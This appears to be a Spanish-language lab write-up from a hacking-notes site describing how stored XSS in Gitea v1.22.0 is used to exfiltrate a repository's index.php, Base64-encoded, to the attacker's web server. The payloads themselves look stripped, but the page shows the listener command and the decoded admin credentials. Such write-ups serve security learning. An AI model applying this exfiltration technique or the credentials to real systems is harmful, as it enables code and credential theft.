> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md).
# Robo de código fuente mediante XSS
### XSS en Gitea (v1.22.0)
En `http://localhost:3000` -> **Gitea** es accesible.
Conexión con las credenciales de Axel.
Vulnerabilidad XSS conocida.
Creamos un proyecto con una descripción que contiene:
```bash
Prueba XSS
```
* Resultado:
### Correo interceptado mediante LinPEAS
contenido de un correo electrónico:
* jobert\@localhost debe verificar el repositorio Gitea
Enviamos un enlace XSS que contiene un script de exfiltración que lee el contenido de la página `index.php` del repositorio Gitea, lo codifica en Base64 y luego lo envía a nuestro servidor web
{% code overflow="wrap" %}
```bash
PWNED
```
{% endcode %}
#### A través de nuestro servidor web
```bash
python -m http.server 8080
```
#### Contenido exfiltrado (decodificado en Base64):
```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d
```
* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';
---
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